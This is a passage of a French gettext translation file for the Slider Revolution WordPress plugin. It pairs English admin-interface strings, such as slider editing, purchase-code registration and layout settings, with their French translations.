msgid "Lock / Unlock Selected" msgstr "Verrouiller / Déverrouiller la sélection" #: admin/revslider-admin.class.php:2058 #: admin/includes/shortcode_generator/shortcode_generator.class.php:155 msgid "Layers Importing" msgstr "Importation de Layers" #: admin/revslider-admin.class.php:2059 #: admin/includes/shortcode_generator/shortcode_generator.class.php:156 msgid "Nothing Selected" msgstr "Aucune sélection" #: admin/revslider-admin.class.php:2060 #: admin/includes/shortcode_generator/shortcode_generator.class.php:153 msgid "Layer with Action" msgstr "Layer contenant une action" #: admin/revslider-admin.class.php:2061 #: admin/includes/shortcode_generator/shortcode_generator.class.php:151 msgid "Image is Loading..." msgstr "L'image est en cours de chargement..." #: admin/revslider-admin.class.php:2062 #: admin/includes/shortcode_generator/shortcode_generator.class.php:152 msgid "Importing Layers..." msgstr "Importation des Layers..." #: admin/revslider-admin.class.php:2063 msgid "Triggered By" msgstr "Déclenché par" #: admin/revslider-admin.class.php:2064 msgid "Imported" msgstr "Importé" #: admin/revslider-admin.class.php:2065 msgid "LAYERS" msgstr "LAYERS" #: admin/revslider-admin.class.php:2066 admin/views/builder-layer-forms.php:37 msgid "Responsivity" msgstr "Sensiblité" #: admin/revslider-admin.class.php:2067 msgid "The changes you made will be lost!" msgstr "Les modifications que vous avez apportées seront perdues!" #: admin/revslider-admin.class.php:2068 msgid "Are you sure you want to continue?" msgstr "Êtes-vous sûr de vouloir continuer?" #: admin/revslider-admin.class.php:2069 msgid "Are you sure you want to export " msgstr "Êtes-vous sûr de vouloir exporter " #: admin/revslider-admin.class.php:2070 msgid "Are you sure you want to delete " msgstr "Êtes-vous sûr de vouloir supprimer " #: admin/revslider-admin.class.php:2071 msgid "Delete All Sliders and Folders included in " msgstr "Supprimer tous les Sliders et dossiers inclus dans " #: admin/revslider-admin.class.php:2072 msgid "Leave without Save" msgstr "Quitter sans sauvegarder" #: admin/revslider-admin.class.php:2073 msgid "Updating the Plugin may take a few moments." msgstr "La mise à jour du plugin peut prendre quelques instants." #: admin/revslider-admin.class.php:2074 msgid "Downloading the Zip File may take a few moments." msgstr "Le téléchargement du fichier Zip peut prendre quelques instants." #: admin/revslider-admin.class.php:2075 msgid "Export Slider" msgstr "Exporter le Slider" #: admin/revslider-admin.class.php:2076 msgid "Yes, Export Slider" msgstr "Oui, exporter le Slider" #: admin/revslider-admin.class.php:2077 msgid "Yes, Delete Slider" msgstr "Oui, supprimer le Slider" #: admin/revslider-admin.class.php:2078 msgid "Yes, Delete Slide" msgstr "Oui, supprimer le Slide" #: admin/revslider-admin.class.php:2079 msgid "Yes, Delete All Slider(s)" msgstr "Oui, supprimer tous les Sliders" #: admin/revslider-admin.class.php:2080 msgid "Stay in Edior" msgstr "Rester dans l'éditeur" #: admin/revslider-admin.class.php:2081 msgid "Redirecting to Overview Page" msgstr "Redirection vers la page de présentation" #: admin/revslider-admin.class.php:2082 msgid "Leaving current Page" msgstr "Sortie de la page actuelle" #: admin/revslider-admin.class.php:2083 msgid "as HTML Document" msgstr "en tant que document HTML" #: admin/revslider-admin.class.php:2084 msgid "Preparing Data..." msgstr "Préparation des données..." #: admin/revslider-admin.class.php:2085 msgid "Loading Content..." msgstr "Chargement du contenu..." #: admin/revslider-admin.class.php:2086 admin/views/builder.php:142 msgid "Copy" msgstr "Copier" #: admin/revslider-admin.class.php:2087 admin/views/builder.php:143 msgid "Paste" msgstr "Coller" #: admin/revslider-admin.class.php:2088 msgid "WAIT" msgstr "ATTENDEZ" #: admin/revslider-admin.class.php:2089 msgid "1st Frame" msgstr "Premier cadre" #: admin/revslider-admin.class.php:2090 msgid "Last Frame" msgstr "Dernier cadre" #: admin/revslider-admin.class.php:2091 msgid "on Action" msgstr "par action" #: admin/revslider-admin.class.php:2092 msgid "This action can not be undone !!" msgstr "Cette action ne peut pas être annulée !!" #: admin/revslider-admin.class.php:2093 msgid "Delete Slider" msgstr "Supprimer le Slider" #: admin/revslider-admin.class.php:2094 msgid "Delete Slide" msgstr "Supprimer le Slide" #: admin/revslider-admin.class.php:2095 msgid "This can be Undone only within the Current session." msgstr "Ceci peut être annulé uniquement durant la session en cours." #: admin/revslider-admin.class.php:2096 msgid "Are you sure you want to delete the selected Slide:" msgstr "Êtes-vous sûr de vouloir supprimer la diapositive sélectionnée:" #: admin/revslider-admin.class.php:2097 #: admin/views/builder-slider-forms.php:1264 msgid "Cancel" msgstr "Annuler" #: admin/revslider-admin.class.php:2098 msgid "Add-Ons" msgstr "Extensions" #: admin/revslider-admin.class.php:2099 msgid "Deleting Slider" msgstr "Suppression du Slider" #: admin/revslider-admin.class.php:2100 msgid "Template & Object Library" msgstr "Bibliothèque des modèles et objets" #: admin/revslider-admin.class.php:2101 msgid "Instant Updates" msgstr "Mises à jour instantanées" #: admin/revslider-admin.class.php:2102 msgid "1on1 Support" msgstr "Assistance individuelle" #: admin/revslider-admin.class.php:2103 msgid "Get a Purchase Code" msgstr "Obtenir un code d'achat" #: admin/revslider-admin.class.php:2104 msgid "I have a Purchase Code" msgstr "J'ai déjà un code d'achat" #: admin/revslider-admin.class.php:2105 msgid "Register Slider Revolution
            to Unlock Premium Features" msgstr "" "Enregistrer Slider Revolution
            pour déverrouiller les fonctionnalités " "Premium" #: admin/revslider-admin.class.php:2106 admin/views/overview.php:123 msgid "Register Purchase Code" msgstr "Enregistrer le code d'achat" #: admin/revslider-admin.class.php:2107 msgid "1 Purchase Code per Website!" msgstr "1 code d'achat par site Web!" #: admin/revslider-admin.class.php:2108 msgid "" "If you want to use your purchase code on
            another domain, please " "deregister it first or" msgstr "" "Si vous souhaitez utiliser votre code d'achat sur
            un autre domaine, " "veuillez le désenregistrer d'abord ou" #: admin/revslider-admin.class.php:2109 msgid "Parallax is now generally Enabled" msgstr "La parallaxe est maintenant activée partout" #: admin/revslider-admin.class.php:2110 msgid "Scroll Based Timeline is now generally Enabled" msgstr "La chronologie avec défilement est maintenant activée partout" #: admin/revslider-admin.class.php:2111 msgid "Filter Effect Scroll is now generally Enabled" msgstr "Le défilement avec effet filtre est maintenant activé partout" #: admin/revslider-admin.class.php:2112 msgid "Slide has no Layers" msgstr "Le Slide n'a aucune Layer" #: admin/revslider-admin.class.php:2113 msgid "Changes that you made may not be saved." msgstr "" "Les modifications que vous avez apportées peuvent ne pas être sauvegardées." #: admin/revslider-admin.class.php:2114 #: admin/includes/shortcode_generator/shortcode_generator.class.php:161 msgid "Add Slider as Modal" msgstr "Ajouter le Slider comme Modal" #: admin/revslider-admin.class.php:2137 msgid "Wrong Request" msgstr "Requête incorrecte" #: admin/includes/widget.class.php:14 msgid "Displays a Slider Revolution Module on the page" msgstr "Affiche un module Slider Revolution sur la page" #: admin/includes/widget.class.php:33 msgid "No Sliders found, Please create a Slider first" msgstr "Aucun Slider trouvé, commencez d'abord par créer un Slider" #: admin/includes/widget.class.php:51 admin/views/builder-slider-forms.php:54 #: admin/views/builder-slider-forms.php:76 #: admin/views/builder-slider-forms.php:544 #: admin/views/builder-slider-forms.php:662 admin/views/modals-builder.php:352 #: admin/views/modals-builder.php:547 admin/views/modals-builder.php:634 #: admin/views/builder-layer-forms.php:880 msgid "Title" msgstr "Titre" #: admin/includes/widget.class.php:55 msgid "Choose Slider" msgstr "Choisissez le Slider" #: admin/includes/widget.class.php:66 msgid "Home Page Only" msgstr "Page d'accueil seulement" #: admin/includes/widget.class.php:70 msgid "Pages (example: 2,10):" msgstr "Pages (exemple: 2,10):" #: admin/includes/tooltips.class.php:16 msgid "Docs" msgstr "Documents" #: admin/includes/template.class.php:57 msgid "" "Can't write the file into the uploads folder of WordPress, please change " "permissions and try again!" msgstr "" "Impossible d'inscrire le fichier dans le dossier de téléchargement de " "WordPress, veuillez modifier les autorisations et réessayer!" #: admin/includes/template.class.php:64 msgid "" "Can't connect programatically to the ThemePunch servers, please check your " "webserver settings" msgstr "" "Impossible de se connecter aux serveurs ThemePunch, veuillez vérifier les " "paramètres de votre serveur Web" #: admin/includes/template.class.php:67 msgid "" "Can't write into the uploads folder of WordPress, please change permissions " "and try again!" msgstr "" "Impossible de modifier le dossier de téléchargement de WordPress, veuillez " "modifier les autorisations et réessayer!" #: admin/includes/export-html.class.php:51 msgid "Wrong request!" msgstr "Requête incorrecte!" #: admin/includes/export-html.class.php:304 msgid "" "Using this data is only allowed with a valid licence of the jQuery Slider " "Revolution Plugin, which can be found at CodeCanyon: http://codecanyon.net/" "item/slider-revolution-responsive-jquery-plugin/2580848?ref=themepunch" msgstr "" "L'utilisation de ces données n'est autorisée qu'avec une licence valide du " "plugin jQuery Slider Revolution, disponible sur CodeCanyon: http://" "codecanyon.net/item/slider-revolution-responsive-jquery-plugin/2580848?" "ref=themepunch" #: admin/includes/plugin-update.class.php:5859 msgid "On Stage" msgstr "Sur scène" #: admin/includes/addons.class.php:110 admin/includes/addons.class.php:135 msgid "Please activate Slider Revolution" msgstr "Merci d'activer Slider Revolution" #: admin/includes/import.class.php:137 msgid "No file sent." msgstr "Aucun fichier envoyé." #: admin/includes/import.class.php:140 msgid "Exceeded filesize limit." msgstr "Limite de taille de fichier dépassée." #: admin/includes/import.class.php:152 msgid "Import file not found" msgstr "Fichier d'importation introuvable" #: admin/includes/import.class.php:199 msgid "slider_export.txt does not exist!" msgstr "slider_export.txt n'existe pas!" #: admin/includes/import.class.php:423 msgid "Please select the correct zip file, checksum failed!" msgstr "" "Veuillez sélectionner le fichier zip correct, la somme de contrôle a échoué!" #: admin/includes/import.class.php:470 admin/includes/import.class.php:552 msgid "" "Wrong export slider file format! Please make sure that the uploaded file is " "either a zip file with a correct slider_export.txt in the root of it or an " "valid slider_export.txt file." msgstr "" "Mauvais format fichier d'exportation pour Slider ! Assurez-vous que le " "fichier téléchargé est un fichier zip avec un fichier slider_export.txt " "correct à la racine ou un fichier slider_export.txt valide." #: admin/includes/import.class.php:1540 msgid "could not find correct Slide to copy, please try again." msgstr "impossible de trouver le bon Slide à copier, veuillez réessayer." #: admin/includes/import.class.php:1663 msgid " not found!" msgstr " introuvable!" #: admin/includes/export.class.php:474 msgid "Can't create zip file: " msgstr "Impossible de créer un fichier zip: " #: admin/views/modals-general.php:22 msgid "Decision Modal Title" msgstr "Titre du Modal de décision" #: admin/views/modals-general.php:27 msgid "Do It" msgstr "Fais-le" #: admin/views/modals-general.php:28 msgid "Dont Do It" msgstr "Ne le fais pas" #: admin/views/modals-general.php:40 msgid "Copy Embed Code" msgstr "Copier le code intégré" #: admin/views/modals-general.php:55 admin/views/builder-slider-forms.php:62 msgid "Addons" msgstr "Extensions" #: admin/views/modals-general.php:55 msgid "Check for Updates" msgstr "Vérifier les mises à jour" #: admin/views/modals-general.php:59 msgid "Slider Revolution Addons" msgstr "Extensions Slider Revolution" #: admin/views/modals-general.php:59 msgid "Please select an Addon to start with." msgstr "Veuillez sélectionner une extension pour commencer." #: admin/views/modals-overview.php:19 admin/views/modals-builder.php:26 msgid "Welcome to Slider Revolution 6" msgstr "Bienvenu sur Slider Revolution 6" #: admin/views/modals-overview.php:63 msgid "Global Settings" msgstr "Paramètres généraux" #: admin/views/modals-overview.php:65 msgid "Permission" msgstr "Autorisation" #: admin/views/modals-overview.php:66 msgid "To Admin" msgstr "À l'administrateur" #: admin/views/modals-overview.php:67 msgid "To Editor, Admin" msgstr "À l'éditeur, l'administrateur" #: admin/views/modals-overview.php:68 msgid "Author, Editor, Admin" msgstr "Auteur, éditeur, administrateur" #: admin/views/modals-overview.php:71 msgid "Include Libraries Globaly" msgstr "Inclure les bibliothèques partout" #: admin/views/modals-overview.php:72 msgid "List of Pages to include Revslider Libraries " msgstr "Liste des pages où inclure les bibliothèques Revslider " #: admin/views/modals-overview.php:72 msgid "Example 2,homepage,5" msgstr "Exemple 2, page d'accueil, 5" #: admin/views/modals-overview.php:74 msgid "Insert scripts in Footer" msgstr "Insérer les scripts dans le pied de page" #: admin/views/modals-overview.php:75 msgid "Defer JavaScript Loading" msgstr "Reporter le chargement de JavaScript" #: admin/views/modals-overview.php:77 msgid "Optional Font Loading URL" msgstr "URL de chargement de police facultatif" #: admin/views/modals-overview.php:77 msgid "ie. http://fonts.useso.com/css?family for chinese Environment" msgstr "c'est à dire http://fonts.useso.com/css?family for chinese Environment" #: admin/views/modals-overview.php:79 msgid "Default Desktop Content Width" msgstr "Largeur du contenu bureau par défaut" #: admin/views/modals-overview.php:80 msgid "Default Notebook Content Width" msgstr "Largeur du contenu carnet par défaut" #: admin/views/modals-overview.php:81 msgid "Default Tablet Content Width" msgstr "Largeur du contenu tablette par défaut" #: admin/views/modals-overview.php:82 msgid "Default Mobile Content Width" msgstr "Largeur du contenu mobile par défaut" #: admin/views/modals-overview.php:84 msgid "Fix RS Table Issues" msgstr "Résoudre les problèmes du tableau RS" #: admin/views/modals-overview.php:84 msgid "Force RS DB Creation" msgstr "Forcer la création de RS DB" #: admin/views/modals-overview.php:88 msgid "Save Global Settings" msgstr "Sauvegarder les paramètres généraux" #: admin/views/overview.php:20 msgid "Good Evening " msgstr "Bonsoir " #: admin/views/overview.php:22 msgid "Good Morning " msgstr "Bonjour " #: admin/views/overview.php:24 msgid "Good Afternoon " msgstr "Bonjour " #: admin/views/overview.php:39 msgid "Modules" msgstr "Modules" #: admin/views/overview.php:40 msgid "Updates" msgstr "Mises à jour" #: admin/views/overview.php:41 msgid "Activation" msgstr "Activation" #: admin/views/overview.php:42 msgid "News" msgstr "Nouvelles" #: admin/views/overview.php:43 msgid "Globals" msgstr "Globaux" #: admin/views/overview.php:44 msgid "FAQ's" msgstr "FAQ" #: admin/views/overview.php:45 msgid "Support" msgstr "Assistance" #: admin/views/overview.php:52 msgid "You are running Slider Revolution " msgstr "Vous exécutez Slider Revolution " #: admin/views/overview.php:56 msgid "New Blank Module" msgstr "Nouveau module vierge" #: admin/views/overview.php:57 msgid "New Module from Template" msgstr "Nouveau module à partir d'un modèle" #: admin/views/overview.php:58 msgid "Manual Import" msgstr "Importation manuelle" #: admin/views/overview.php:59 msgid "AddOns" msgstr "Extensions" #: admin/views/overview.php:65 msgid "Search Modules..." msgstr "Rechercher les modules..." #: admin/views/overview.php:68 msgid "Show all Modules" msgstr "Afficher tous les modules" #: admin/views/overview.php:69 msgid "Add Folder" msgstr "Ajouter un dossier" #: admin/views/overview.php:78 msgid "Show All" msgstr "Montrer tout" #: admin/views/overview.php:92 msgid "Plugin Updates" msgstr "Mises à Jour Plugin" #: admin/views/overview.php:100 msgid "Sytem Requirements" msgstr "Exigences système" #: admin/views/overview.php:102 msgid "Upload folder writable" msgstr "Télécharger le dossier en écriture" #: admin/views/overview.php:103 msgid "Memory Limit (256M)" msgstr "Limite mémoire (256M)" #: admin/views/overview.php:104 msgid "Upload Max. Filesize (256M)" msgstr "Taille maximum du fichier en téléchargement (256M)" #: admin/views/overview.php:105 msgid "Max. Post Size (256M)" msgstr "Taille maximal d'un post (256M)" #: admin/views/overview.php:106 msgid "ThemePunch Server" msgstr "Serveur ThemePunch" #: admin/views/overview.php:107 admin/views/builder.php:111 #: admin/views/builder.php:121 admin/views/builder-slider-forms.php:331 #: admin/views/builder-slide-forms.php:53 #: admin/views/builder-slide-forms.php:65 #: admin/views/builder-slide-forms.php:72 #: admin/views/builder-slide-forms.php:78 #: admin/views/builder-slide-forms.php:83 #: admin/views/builder-layer-forms.php:174 #: admin/views/builder-layer-forms.php:220 #: admin/views/builder-layer-forms.php:263 msgid "Object Library" msgstr "Bibliothèque d'objets" #: admin/views/overview.php:113 msgid "Update History" msgstr "Historique de mise à jour" #: admin/views/overview.php:126 msgid "Find My Code" msgstr "Trouver mon code" #: admin/views/overview.php:130 msgid "xxxx xxxx xxxx xxxx" msgstr "xxxx xxxx xxxx xxxx" #: admin/views/overview.php:131 msgid "Enter Purchase Code" msgstr "Spécifiez le code d'achat" #: admin/views/overview.php:137 msgid "1 Purchase Code per Website" msgstr "1 code d'achat par site Web" #: admin/views/overview.php:138 msgid "" "If you want to use Slider Revolution on another domain, please purchase another license" msgstr "" "Si vous souhaitez utiliser Slider Revolution sur un autre domaine, veuillez " "acheter une autre licence " #: admin/views/overview.php:143 msgid "Register to unlock all Premium Features" msgstr "Inscrivez-vous pour déverrouiller toutes les fonctionnalités Premium" #: admin/views/overview.php:148 admin/views/overview.php:152 #: admin/views/overview.php:156 admin/views/overview.php:160 #: admin/views/overview.php:164 msgid "Register to Unlock" msgstr "Inscrivez-vous pour déverrouiller" #: admin/views/overview.php:175 msgid "Connect with ThemePunch" msgstr "Connectez-vous avec ThemePunch" #: admin/views/overview.php:176 msgid "Youtube" msgstr "Youtube" #: admin/views/overview.php:178 admin/views/builder-slider-forms.php:467 msgid "Twitter" msgstr "Twitter" #: admin/views/overview.php:180 admin/views/builder-slider-forms.php:468 msgid "Facebook" msgstr "Facebook" #: admin/views/overview.php:182 admin/views/builder-slider-forms.php:466 msgid "Instagram" msgstr "Instagram" #: admin/views/overview.php:184 msgid "Dribbble" msgstr "Dribbble" #: admin/views/overview.php:186 msgid "Sign up to our Newsletter" msgstr "Abonnez-vous à notre lettre d'information" #: admin/views/overview.php:187 msgid "Enter your Email" msgstr "Spécifiez votre Email" #: admin/views/overview.php:189 msgid "Sign Up" msgstr "S'inscrire" #: admin/views/overview.php:192 msgid "Updates, New Products, Spotlights" msgstr "Mises à jour, nouveaux produits, astuces" #: admin/views/overview.php:193 msgid "" "Get access to the latest News from ThemePunch. We promise to never send you " "Spam!" msgstr "" "Recevez les dernières nouvelles de ThemePunch. Nous promettons de ne jamais " "vous envoyer de spam!" #: admin/views/overview.php:199 msgid "Whats New?" msgstr "Quoi de neuf?" #: admin/views/builder.php:48 admin/views/builder.php:201 msgid "Desktop" msgstr "Bureau" #: admin/views/builder.php:49 admin/views/builder.php:202 msgid "Notebook" msgstr "Carnet" #: admin/views/builder.php:50 admin/views/builder.php:203 msgid "Tablet" msgstr "Tablette" #: admin/views/builder.php:51 admin/views/builder.php:204 msgid "Mobile" msgstr "Mobile" #: admin/views/builder.php:67 admin/views/builder.php:82 #: admin/views/builder-slider-forms.php:690 msgid "Slides" msgstr "Slides" #: admin/views/builder.php:81 admin/views/builder-slide-forms.php:490 msgid "Back" msgstr "Retour" #: admin/views/builder.php:85 msgid "Add Slide(s)" msgstr "Ajouter des Slides" #: admin/views/builder.php:87 msgid "Blank slide" msgstr "Slide vierge" #: admin/views/builder.php:88 msgid "Bulk Slide" msgstr "Slide en masse" #: admin/views/builder.php:89 msgid "Slide From Template" msgstr "Slide à partir d'un modèle" #: admin/views/builder.php:98 msgid "Add Layer" msgstr "Ajouter une Layer" #: admin/views/builder.php:101 admin/views/builder-layer-forms.php:1554 msgid "Text" msgstr "Texte" #: admin/views/builder.php:103 msgid "Quick Style Headline" msgstr "Titre avec style rapide" #: admin/views/builder.php:104 msgid "Quick Style Content" msgstr "Contenu avec style rapide" #: admin/views/builder.php:108 admin/views/builder-slide-forms.php:45 msgid "Image" msgstr "Image" #: admin/views/builder.php:110 admin/views/builder.php:120 msgid "WordPress Library" msgstr "Bibliothèque WordPress" #: admin/views/builder.php:112 admin/views/builder.php:122 msgid "Empty Placeholder" msgstr "Bouche-trou vide" #: admin/views/builder.php:115 msgid "Button" msgstr "Bouton" #: admin/views/builder.php:116 msgid "Shape" msgstr "Forme" #: admin/views/builder.php:118 msgid "Video" msgstr "Vidéo" #: admin/views/builder.php:125 admin/views/builder-layer-forms.php:203 msgid "Audio" msgstr "Audio" #: admin/views/builder.php:126 msgid "Icon / SVG" msgstr "Icône / SVG" #: admin/views/builder.php:127 msgid "Row" msgstr "Rangée" #: admin/views/builder.php:128 admin/views/builder-slider-forms.php:843 #: admin/views/builder-slider-forms.php:853 msgid "Group" msgstr "Groupe" #: admin/views/builder.php:129 msgid "Layer Library" msgstr "Bibliothèque Layer" #: admin/views/builder.php:130 msgid "Import Layer" msgstr "Importer Layer" #: admin/views/builder.php:136 msgid "Multiple Selection" msgstr "Sélection multiple" #: admin/views/builder.php:137 msgid "No Layers Selected" msgstr "Aucune Layer sélectionnée" #: admin/views/builder.php:150 msgid "Lock/Unlock Selected" msgstr "Verrouiller / Déverrouiller la sélection" #: admin/views/builder.php:151 msgid "Unlock All" msgstr "Tout déverrouillé" #: admin/views/builder.php:157 msgid "Hide Highlight Boxes" msgstr "Masquer l'option surlignage" #: admin/views/builder.php:157 msgid "Show Highlight Boxes" msgstr "Montrer l'option surlignage" #: admin/views/builder.php:158 msgid "Show/Hide Selected" msgstr "Montrer/Masquer l'élément sélectionné" #: admin/views/builder.php:159 msgid "Set All Visible" msgstr "Tout mettre en visible" #: admin/views/builder.php:179 msgid "Single Select" msgstr "Sélection unique" #: admin/views/builder.php:180 msgid "Add to Selection" msgstr "Ajouter à la sélection" #: admin/views/builder.php:181 msgid "Drag to Select" msgstr "Faites glisser pour sélectionner" #: admin/views/builder.php:190 msgid "Open Document" msgstr "Ouvrir le document" #: admin/views/builder.php:209 msgid "Quick Style" msgstr "Style rapide" #: admin/views/builder.php:302 admin/views/builder-slider-forms.php:1264 #: admin/views/builder-nav-forms.php:229 admin/views/builder-nav-forms.php:369 #: admin/views/builder-nav-forms.php:556 admin/views/builder-nav-forms.php:740 msgid "Save" msgstr "Sauvegarder" #: admin/views/builder.php:323 msgid "" "The Current Size is set to \"Auto Size\". Do you want to continue with " "Custom Size?" msgstr "" "La taille actuelle est réglée sur \"Taille Automatique\". Souhaitez-vous " "continuer avec la taille personnalisée?" #: admin/views/builder-slider-forms.php:55 #: admin/views/builder-slider-forms.php:194 msgid "Layout" msgstr "Disposition" #: admin/views/builder-slider-forms.php:56 #: admin/views/builder-slider-forms.php:202 #: admin/views/builder-nav-forms.php:832 msgid "Carousel" msgstr "Carrousel" #: admin/views/builder-slider-forms.php:58 msgid "Defaults" msgstr "Défauts" #: admin/views/builder-slider-forms.php:59 msgid "General" msgstr "Géneral" #: admin/views/builder-slider-forms.php:60 #: admin/views/builder-slide-forms.php:30 #: admin/views/builder-layer-forms.php:35 #: admin/views/builder-layer-forms.php:795 msgid "On Scroll" msgstr "Selon défilement" #: admin/views/builder-slider-forms.php:61 #: admin/views/builder-slider-forms.php:97 msgid "Spinner" msgstr "Spinner" #: admin/views/builder-slider-forms.php:63 #: admin/views/builder-layer-forms.php:1161 msgid "Advanced" msgstr "Avancé" #: admin/views/builder-slider-forms.php:65 msgid "As Modal" msgstr "En tant que modal" #: admin/views/builder-slider-forms.php:74 msgid "Module Naming" msgstr "Nommer les modules" #: admin/views/builder-slider-forms.php:76 msgid "Enter a Module name" msgstr "Spécifiez un nom de module" #: admin/views/builder-slider-forms.php:77 #: admin/includes/shortcode_generator/shortcode_generator.class.php:226 msgid "Alias" msgstr "Pseudonyme" #: admin/views/builder-slider-forms.php:77 msgid "enter-a-module-name" msgstr "spécifiez un nom de module" #: admin/views/builder-slider-forms.php:78 #: admin/views/builder-slider-forms.php:172 msgid "Shortcode" msgstr "Shortcode" #: admin/views/builder-slider-forms.php:79 #: admin/views/builder-slider-forms.php:173 msgid "Copy Shortcode" msgstr "Copier le Shortcode" #: admin/views/builder-slider-forms.php:83 #: admin/views/builder-slide-forms.php:428 msgid "" "Place the shortcode on the page or post where you want to show this module." msgstr "" "Placez le Shortcode sur la page ou le post où vous souhaitez afficher ce " "module." #: admin/views/builder-slider-forms.php:95 msgid "Spinner Settings" msgstr "Réglages Spinner" #: admin/views/builder-slider-forms.php:119 msgid "Spinner Color" msgstr "Couleur Spinner" #: admin/views/builder-slider-forms.php:142 msgid "Slider as Modal" msgstr "Slider en tant que modal" #: admin/views/builder-slider-forms.php:146 #: admin/views/builder-slider-forms.php:302 #: admin/views/builder-slider-forms.php:404 #: admin/views/builder-nav-forms.php:90 admin/views/builder-nav-forms.php:145 #: admin/views/builder-nav-forms.php:287 admin/views/builder-nav-forms.php:443 #: admin/views/builder-nav-forms.php:626 #: admin/views/builder-layer-forms.php:325 #: admin/views/builder-layer-forms.php:326 #: admin/views/builder-layer-forms.php:439 #: admin/views/builder-layer-forms.php:631 #: admin/views/builder-layer-forms.php:1276 #: admin/views/builder-layer-forms.php:1300 #: admin/views/builder-layer-forms.php:1321 msgid "Left" msgstr "Gauche" #: admin/views/builder-slider-forms.php:146 #: admin/views/builder-slider-forms.php:147 #: admin/views/builder-slider-forms.php:303 #: admin/views/builder-slider-forms.php:404 #: admin/views/builder-slider-forms.php:405 #: admin/views/builder-nav-forms.php:90 admin/views/builder-nav-forms.php:91 #: admin/views/builder-nav-forms.php:145 admin/views/builder-nav-forms.php:146 #: admin/views/builder-nav-forms.php:287 admin/views/builder-nav-forms.php:288 #: admin/views/builder-nav-forms.php:443 admin/views/builder-nav-forms.php:444 #: admin/views/builder-nav-forms.php:626 admin/views/builder-nav-forms.php:627 #: admin/views/builder-layer-forms.php:439 #: admin/views/builder-layer-forms.php:440 #: admin/views/builder-layer-forms.php:631 #: admin/views/builder-layer-forms.php:1277 #: admin/views/builder-layer-forms.php:1282 #: admin/views/builder-layer-forms.php:1301 #: admin/views/builder-layer-forms.php:1306 #: admin/views/builder-layer-forms.php:1308 #: admin/views/builder-layer-forms.php:1322 #: admin/views/builder-layer-forms.php:1325 #: admin/views/builder-layer-forms.php:1327 msgid "Center" msgstr "Centre" #: admin/views/builder-slider-forms.php:146 #: admin/views/builder-slider-forms.php:304 #: admin/views/builder-slider-forms.php:404 #: admin/views/builder-nav-forms.php:90 admin/views/builder-nav-forms.php:145 #: admin/views/builder-nav-forms.php:287 admin/views/builder-nav-forms.php:443 #: admin/views/builder-nav-forms.php:626 #: admin/views/builder-layer-forms.php:325 #: admin/views/builder-layer-forms.php:326 #: admin/views/builder-layer-forms.php:439 #: admin/views/builder-layer-forms.php:631 #: admin/views/builder-layer-forms.php:1278 #: admin/views/builder-layer-forms.php:1304 #: admin/views/builder-layer-forms.php:1323 msgid "Right" msgstr "Droite" #: admin/views/builder-slider-forms.php:147 #: admin/views/builder-slider-forms.php:405 #: admin/views/builder-slider-forms.php:1183 #: admin/views/builder-nav-forms.php:45 admin/views/builder-nav-forms.php:91 #: admin/views/builder-nav-forms.php:146 admin/views/builder-nav-forms.php:288 #: admin/views/builder-nav-forms.php:444 admin/views/builder-nav-forms.php:627 #: admin/views/builder-layer-forms.php:440 #: admin/views/builder-layer-forms.php:632 #: admin/views/builder-layer-forms.php:1281 #: admin/views/builder-layer-forms.php:1305 #: admin/views/builder-layer-forms.php:1324 msgid "Top" msgstr "Haut" #: admin/views/builder-slider-forms.php:147 #: admin/views/builder-slider-forms.php:405 #: admin/views/builder-slider-forms.php:1184 #: admin/views/builder-nav-forms.php:45 admin/views/builder-nav-forms.php:91 #: admin/views/builder-nav-forms.php:146 admin/views/builder-nav-forms.php:288 #: admin/views/builder-nav-forms.php:444 admin/views/builder-nav-forms.php:627 #: admin/views/builder-layer-forms.php:440 #: admin/views/builder-layer-forms.php:632 #: admin/views/builder-layer-forms.php:1283 #: admin/views/builder-layer-forms.php:1307 #: admin/views/builder-layer-forms.php:1326 msgid "Bottom" msgstr "Bas" #: admin/views/builder-slider-forms.php:149 #: admin/views/builder-slider-forms.php:336 #: admin/views/builder-nav-forms.php:45 admin/views/builder-nav-forms.php:251 #: admin/views/builder-nav-forms.php:268 admin/views/builder-nav-forms.php:397 #: admin/views/builder-nav-forms.php:416 admin/views/builder-nav-forms.php:580 #: admin/views/builder-nav-forms.php:599 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:579 msgid "Position" msgstr "Position" #: admin/views/builder-slider-forms.php:155 msgid "Use Cover" msgstr "Utiliser la couverture" #: admin/views/builder-slider-forms.php:161 msgid "Cover Color" msgstr "Couleur de couverture" #: admin/views/builder-slider-forms.php:165 msgid "Body Class" msgstr "Classe du corps" #: admin/views/builder-slider-forms.php:168 msgid "Toggle Document Body Class on Open and Close of the Modal." msgstr "" "Basculer la classe de corps du document à l'ouverture et à la fermeture du " "modal." #: admin/views/builder-slider-forms.php:177 msgid "" "Place the shortcode on the page or post where you want to show this modal." msgstr "" "Placez le Shortcode sur la page ou le post où vous souhaitez afficher ce " "modal." #: admin/views/builder-slider-forms.php:189 msgid "Slider Layout" msgstr "Disposition de la Layer" #: admin/views/builder-slider-forms.php:198 #: admin/views/builder-slider-forms.php:475 admin/views/modals-builder.php:322 #: admin/views/builder-slide-forms.php:45 #: admin/views/builder-slide-forms.php:526 #: admin/views/builder-layer-forms.php:198 #: admin/views/builder-layer-forms.php:1269 msgid "Type" msgstr "Type" #: admin/views/builder-slider-forms.php:200 #: admin/views/builder-slider-forms.php:948 #: admin/views/builder-nav-forms.php:612 msgid "Slider" msgstr "Slider" #: admin/views/builder-slider-forms.php:201 #: admin/views/builder-layer-forms.php:469 msgid "Scene" msgstr "Scène" #: admin/views/builder-slider-forms.php:208 msgid "Sizing" msgstr "Dimensionnement" #: admin/views/builder-slider-forms.php:210 msgid "Auto" msgstr "Auto" #: admin/views/builder-slider-forms.php:211 msgid "Full-Width" msgstr "Pleine largeur" #: admin/views/builder-slider-forms.php:212 msgid "Full-Screen" msgstr "Plein écran" #: admin/views/builder-slider-forms.php:221 msgid "Layer Area Size" msgstr "Taille de la Layer" #: admin/views/builder-slider-forms.php:224 #: admin/views/builder-slider-forms.php:232 #: admin/views/builder-slider-forms.php:240 #: admin/views/builder-slider-forms.php:248 msgid "Browser Width" msgstr "Largeur du navigateur" #: admin/views/builder-slider-forms.php:260 msgid "Decrease Module Height" msgstr "Diminuer la hauteur du module" #: admin/views/builder-slider-forms.php:262 msgid "by Container" msgstr "par conteneur" #: admin/views/builder-slider-forms.php:262 msgid "Enter Container .class or #id" msgstr "Spécifiez la .class or #id du conteneur" #: admin/views/builder-slider-forms.php:264 msgid "by PX or %" msgstr "en pixels ou %" #: admin/views/builder-slider-forms.php:266 msgid 